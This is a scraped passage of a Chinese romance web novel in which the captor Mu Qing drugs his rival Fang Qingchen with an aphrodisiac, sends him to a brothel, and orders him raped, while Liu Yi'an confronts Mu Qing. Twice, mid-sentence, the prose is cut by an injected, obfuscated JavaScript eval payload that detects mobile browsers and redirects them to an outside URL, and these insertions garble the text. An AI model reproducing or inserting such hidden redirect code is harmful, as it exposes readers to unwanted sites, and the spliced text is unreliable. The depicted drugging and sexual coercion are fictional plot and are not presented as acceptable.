柳忆安此时就坐在那马车上,陪同她的三位道童都是身手不错的练家子,绝不会让人掳走她。 慕青轻敲车厢,叫来自己的贴身侍卫,吩咐道:“让所有人马盯紧后面的马车,决不能让任何人接近。” 不过半天的时间,先是被陆家二爷拦住,又是抓住了闯入府里的方轻尘,不知道还有多人在背后盯着柳忆安的踪迹。 幸好自己做足了准备。 到了军营,柳忆安等人正准备下车,却被侍卫拦住。 “神侍说了,你们在车上等着就行。” 没办法,柳忆安只好再坐回车上,再次尝试向另外三人问点什么。 这一路,柳忆安一直尝试从她们嘴里套出点什么信息,可她们什么也没交代,除了一些赞美神侍的话。 “你们是怎么成为道童的?”没办法直接问出慕青的消息,柳忆安只好打听这些道童的事。 “是神侍救了我们几人,赐予我们几人成为道童的机缘。”柳忆安对面的那个道童答道。 “他怎么救了你们?” “我们都被母父卖给了杂耍班子,是神侍大人将我们救出来的。” “杂耍班子?” “就是那种吞长剑,翻跟头,在街上讨赏钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15283225|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种。”谈起过去的遭遇,这三人来了兴致,滔滔不绝起来,“班主对我们可坏了,从不让我们吃饱饭,练不好就用棍子抽我们。” “那你们是怎么碰到神侍的?” “有一次我们几个在街头表演,老二一个不小心,在马背上翻跟头的时候摔了下来,被班主狠狠抽打,是神侍路过的时候买下我们,让我们以后跟着他。” “跟了神侍大人之后,我们几个才第一次吃了顿饱饭。” “是啊是啊,跟了神侍之后我长高了不少呢。” 听着眼前三人叽叽喳喳的声音,柳忆安明白了为何她们对慕青的事闭口不谈,对她们而言,慕青是她们的救命恩人,是名副其实的“神的使者”,为了这份恩情,她们不会出卖慕青一分一毫。 太阳快要落山的时候,慕青终于忙完,带着柳忆安回到了府里。 “等会儿吃完饭,你先回去休息,我还有点别的事情。”餐桌上,慕青支走所有下人,亲自侍奉柳忆安用膳,“你有没有想去的地方,我们过两日就可以去。” “想去的地方?我们不在京中待着了吗?”柳忆安不想走,离开京城就不知道还能向谁求助了。 “京城多闷,我们去游山玩水不好吗?” 柳忆安摇摇头,“刚赶了几日的路,还没怎么好好休息呢。” “那就先在京中休息休息,等你闲得无聊了我们再出发。”慕青看着柳忆安,满眼的宠溺,心想绝不能让其她人将柳忆安抢了去。 待晚膳用完,他亲自将柳忆安送回卧房,随后叮嘱道:“你先休息,我一会儿还有事,没办法陪你了。” “没事,你去忙吧。”正好,柳忆安也并不想待在他身边,听到他有事要忙,长舒一口气。 慕青等柳忆安关上房门,转身往地牢走去。 很久没见自己的这个表弟了,所有的新仇旧恨,今日就一并算清吧。 “好久不见,方轻尘。” 地牢深处,脚步声缓慢地响起,冷风裹着一股血腥与霉腐之气涌入牢房。 方轻尘被铁链绑在柱子上,身上的里衣完全被水浸透,每隔一刻钟便有人将一桶刺骨的凉水从头到脚地浇在他身上。此时他已经浑身冻得僵硬,没力气再做些什么动作,可在听到来者声音的那瞬间,他还是不可置信地强抬起了头。 “秋川白?是你?你是神侍?” “怎么,听见我的声音很惊讶吗?”慕青走到方轻尘面前,用手中的蜡烛照亮了他的脸,“几年不见,你这张脸比以前更好看了,更像是夺人妻主的狐媚子了。” “呵,你也和之前长得不一样了。”方轻尘看着眼前这个发似银霜,肤如白雪的人,忍不住嘲弄道,“不像个活人。” “是啊,这都是托你的福,我只有变成这个样子才能回到她身边。”慕青满不在意地笑了笑,“不过无所谓,这个样子比一般人更好看,更能讨她欢心,不是吗?” “你把她还给我。” “还给你?明明是你把她偷走的,怎么能叫‘还给你’?看来你还没搞清楚现在的状况。”慕青浅金色的瞳孔倒映着烛光,看起来动人心魄,“你孤身闯入我的府邸,就没想过会有什么下场吗?” 62. 送到怡红楼 幽暗的地牢深处,断断续续传来既欢愉又痛苦的呻吟声。 慕青看着方轻尘在半空中挣扎扭动,眼底尽是冷漠和无动于衷。 “你我好歹兄弟一场,我不会伤你,”慕青放下手中的药盏,里面漆黑的液体已经尽数灌进了方轻尘嘴里,“我只是送你去你早就该去的地方。来人!” 慕青一声令下,从光照不到的角落里立刻蹿出来了四名暗卫。 “属下在。” “将人送到怡红楼去,告诉老板,这个人很会讨好女人,是个当头牌的料。” “秋川白……你有种就杀了我。”方轻尘咬紧牙关,在药剂的作用下,他全身宛如被千万条蜈蚣爬行撕咬,痛苦不堪。 “死?你罪不至死。再说,若我杀了你,忆安会恨我的。”慕青挑起方轻尘的下巴,逼他直视自己。 在和慕青对视的那一瞬间,方轻尘顿时失去了挣扎的力气。 “我要忆安看清你的本质,让她知道你是如何在不同人身下承欢。”见到方轻尘惊恐的神色,慕青这才露出满意的笑容,“很难受吧,这个药是我好不容易弄到的,专门为你准备的。它比普通的春药的效果要强上十倍,若你一个时辰内不与人交合,你会比现在痛苦百倍。” 说完,慕青挥手示意下人将人抬走,“快把方公子送到怡红楼,莫让他痛苦太久。” *** 不知是不是累了一天的缘故,柳忆安睡了非常踏实的一觉。 一睁开眼,发现窗边的卧榻上被褥叠得整齐,屋里只有她一个人,顿时松了口气。 虽然她和慕青已经朝夕相处了足月有余,但他异于常人的样貌总会让她不自觉地害怕。 他那双眼睛,就像能摄人心魄一般,每次和他对视,总会不自觉地被他吸引,忘记自己原本想说的话。 这种感觉,有时轻微,有时强烈。原本柳忆安以为这是自己的错觉,但昨日祈福仪式上众人的反应让她确信,慕青身上真的藏有什么秘密。 就在这时,门外传来稀疏的对话声。 “…昨日…小贼…好看…” “听说…怡红楼…” “…可惜啊,那么好看的一个人,怎么被送到怡红楼去了。” “这可惜什么,依我看啊,送到怡红楼才好呢,不然你我哪有机会去玩弄。” “这样不好吧,我可不想去那种腌臜地方。” “是是是,姐姐你清高,我可不愿意放过这么美的男子,趁着他接客不多,等过两天发了月钱我就去点他。” “你怎么能去那种地方?别让我看不起你。” “好姐姐,我就是想多看他两眼,不会做什么的。” “好了好了,快别说了,别让那位听见了。” 随着话音落下,卧房的大门被来人敲响。 “女君,我们来为你送早膳。” “进来吧。”柳忆安回应。 “女君,肉粥是咸口的,百合粥是甜口的,”两个侍女将餐点逐个摆好,一一为柳忆安介绍,“左边点心是咸口的,右边点心是甜口的。女君想从哪一个开始尝。” “等等,”柳忆安好奇她们刚才讲的事情,想和她们一起聊聊,“你们坐下同我一起吃吧。” “不行不行,大人若是知道了一定会怪罪我们的。”年纪看着稍小的女子连忙摆手拒绝。 “是我要求你们和我一起吃,他不会怪罪的。”柳忆安为她们拉开椅子,“难道让我服侍你们,才愿意陪我吃饭?” “不敢不敢,陪女君用膳是我们的荣幸。”两位侍女对视一眼,不敢再推脱,缓缓坐了下来。 “我听说,昨日府里进了个小贼?”柳忆安一边喝着粥,一边装作不经意地问道,“咱们府里那么多的看守,竟然还能混进小贼吗?” “说是这个小贼身手可好了,也怪他运气不好,擅闯禁地触碰了机关,这才被逮住。” “是啊是啊,若他早个几日来,估计就能逃掉了。” “为何早个几日就能逃掉?” “这……”讲话的侍女发现自己失言,低下头不敢吭声。 柳忆安看两人的神情,一下就猜到了原因,“是因为我逃出去了,所以府里加强了戒备,对吗?” “是……” “哎呀,你们二人怕什么,我又不会吃了你们。那这小贼被送到官府了?” 年长的侍女摇了摇头,“听说送到怡红楼了。” “不送官府送到怡红楼做什么?”柳忆安继续问。 “我猜是因为这个小贼长得太好看了。昨日刚捉到那小贼的时候,我们路过看了一眼,像从画里走出来的一样,眼睛特别勾人,鼻梁也挺得很。” 听到二人的话,柳忆安心里一沉,她感觉这些描述和方轻尘全都对得上。 “你们知道这小贼叫什么吗?” “这个我们就不知道了。” 见问不出什么了,柳忆安便装作要去散步,“我吃好了,先去院子里转一转,你们二人吃完就收拾了吧。” 柳忆安出了屋门,脚步却没有朝着花园去,而是转了个方向,往正厅走去。 她表面上装得云淡风轻,实则心里早已乱成一团。方才那两个侍女嘴里提到的“貌美小贼”,十有八九就是方轻尘,她要去找慕青问个清楚。 *** 正厅,慕青正在听属下的汇报。 “大人,此人宁死不从,怡红楼老板怕他吓到客人,将他先关在后院了。” “宁死不从?不会再多灌几碗药吗?” “灌了,他用碎瓷片将大腿划了好几道,血流了一地,把几位客人都吓跑了。” “还是块硬骨头,不愿招呼客人……你先带几个人去破了他的身子,以后看他还怎么硬。” “是。”属下转身欲走,被突然出现的柳忆安拦住。 “停,你别走。”柳忆安拽住她,抬眼看向慕青,语气冰冷地质问道,“你让她去破谁的身子?” “你用了早膳了?怎么样,合口吗?”慕青没有回答,转移了话题。 只见慕青漫步到柳忆安眼前,又是一阵雪松香气扑面而来,柳忆安怔怔地松开了手,属下趁机离开了正厅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15294986|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你想好要去哪里玩了吗?” 慕青的声音如靡靡之音般传入柳忆安耳中,顿时,她迷茫地看着慕青,忘记了自己为什么来找慕青。 “我还没想好,想来问问你的意见。”柳忆安这样答道。 慕青满眼笑意,他欢喜地拉起柳忆安的手,“只要和你待在一起,我去哪里都行。不如我们今日就出发,一路往南走,走到哪算哪。” 柳忆安正欲点头答应,突然闻到一股血腥味。 血腥味不重,但足以让她回过神来。 “等等,你还没告诉我,要破了谁的身子,是不是方轻尘?” 见柳忆安清醒过来,慕青无奈地轻叹了口气,既没有承认,也没有否认,他只是拉着柳忆安的手,安静地注视着对方。 “到底是不是?” 面对柳忆安的追问,慕青最终还是不愿欺骗她,点头承认了,“是他。” “他是我的恩人,你为何要这么对他?”情急之下,柳忆安红了眼眶,“你快放了他!” “恩人?他怎么就是你的恩人了?他不过就是一个把你藏起来的小贼,你的恩人是杨姨不是他!” 慕青的手越握越紧,没有给柳忆安半分挣脱的余地。 “他不仅是我的恩人,也是你的恩人!若不是他发现那本古籍有问题,你我早就以谋逆之名被处死了!若不是他将药材从山匪手中救出,连夜送到竹安,我早就被埋在黄土之下了!” “你都想起来了?”慕青眼角轻挑,目光如刀般注视着柳忆安,“既然你想起来了,就该记得他早就该被卖到怡红楼了,是我好心救了他,结果呢,他却觊觎我的妻主。你赶走了我,却留下了他。” “是你要同我和离,是你求我和你签下和离书,这和他有什么关系。” “如果没有他的出现,如果我没有为了救他而纳他进府,你根本就不会同我和离!”慕青眼角泛红,一层朦胧的泪水覆在慕青金色眸子的表面,像是一块破碎的琉璃,“是我当时太过愚蠢,但他就无辜吗?他明知有别的办法,却没有阻拦我,任由我做下蠢事,难道他的心思就单纯吗?” 心中多年压抑的痛苦和委屈在一瞬间爆发出来,眼泪如珠串般从慕青的眼角滑落。因曾经浸泡过药水的缘故,每一滴眼泪的产生都令他的眼睛感到一股剧痛,可内心的酸楚远比□□上的痛来得折磨。 “你可曾想过,为何怡红楼的人要在我的必经之路上为难他?你知不知道他武艺高强,打倒那些人根本不在话下?” 柳忆安愣在原地,她从不知晓方轻尘武艺高强之事。 “我为何信你?” 看到柳忆安的反应,慕青知道她也被方轻尘蒙在鼓里,“就在我纳他进门的前几日,他曾问过我,郁小父的户籍是否在秋家名下。” “正因为这个问题,我才知道,不论小侍是何出身,户籍皆可挂在主家名下。” 说完,慕青看着站在原地不知所措的柳忆安,伸出手将她拉入怀中。 柔得近乎哀求的声音在柳忆安头上响起。 “忆安,你现在还能说他是无辜的吗?”